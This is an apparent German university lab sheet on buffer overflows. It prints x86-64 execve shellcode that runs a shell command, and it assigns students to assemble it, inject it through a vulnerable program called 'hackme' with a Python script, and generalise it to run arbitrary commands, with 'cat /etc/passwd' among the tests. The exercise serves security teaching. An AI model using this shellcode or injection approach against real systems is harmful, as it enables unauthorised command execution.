Das Ziel dieses Praktikums ist die Vertiefung der Kenntnisse zu Buffer Overflows.

## 1 Ein interessanter Shellcode

Im Internet ist folgender Shellcode gefunden worden:

```
1 bits 64
3 section .text
      global _start
6 start:
      xor rcx, rcx
      push rcx
      mov rcx, 0x68732f6e69622fff
      shr rcx, 8
10
      push rcx
11
      push rsp
12
      pop rdi
13
14
      xor rcx, rcx
      push rcx
16
      push word 0x632d
17
      push rsp
18
      pop rbx
19
      xor rcx, rcx
21
      push rcx
22
      jmp command
23
24
25 execve:
      pop rdx
      push rdx
      xor byte [rdx+5], 0x41
28
      push rbx
29
      push rdi
30
      push rsp
      pop rsi
      xor rax,rax
34
      mov al, 59
35
```

```
xor rdx,rdx
syscall
secommand:
call execve
data: db "ls -lA"
```

## Aufgabe 1.

- a) Analysieren Sie den Shellcode.
- b) Beschreiben Sie detailliert, wie der Shellcode arbeitet. Veranschaulichen mit einer Grafik, wie der Hauptspeicher vom Shellcode verwaltet wird. Wo werden die Daten gespeichert, die in einem System-Call verwendet werden?
- c) Implementieren Sie den Shellcode und übersetzen Sie ihn in eine Binärdatei.
- d) Entwickeln Sie ein Python-Skript, um den Shellcode über das Programm hackme auszuführen.
- e) Dokumentieren Sie Ihre Erkenntnisse und die von Ihnen durchgeführten Arbeiten.

## 2 Ausbau des Shellcodes

Im folgenden soll der Shellcode ausgebaut werden, um ein beliebiges Programm auszuführen. Hierzu muss der Shellcode an zwei Stellen modifiziert werden. Um flexibel zu sein, werden die Modifikationen automatisiert mit einem Python Programm durchgeführt.

## Aufgabe 2.

- a) Erstellen Sie auf Basis des Skripts von Aufgabe 1 ein neues Python-Skript, mit dem man ein beliebiges Linux-Programm ausführen kann. Das Programm inklusive Parameter soll dabei als String innerhalb des Skripts gespeichert werden.
- b) Testen Sie Ihr Skript, indem Sie folgende Befehle ausführen:
  - ls -a -t /usr/bin
  - ps ax
  - cat /etc/passwd
- c) Dokumentieren Sie die von Ihnen durchgeführten Arbeiten.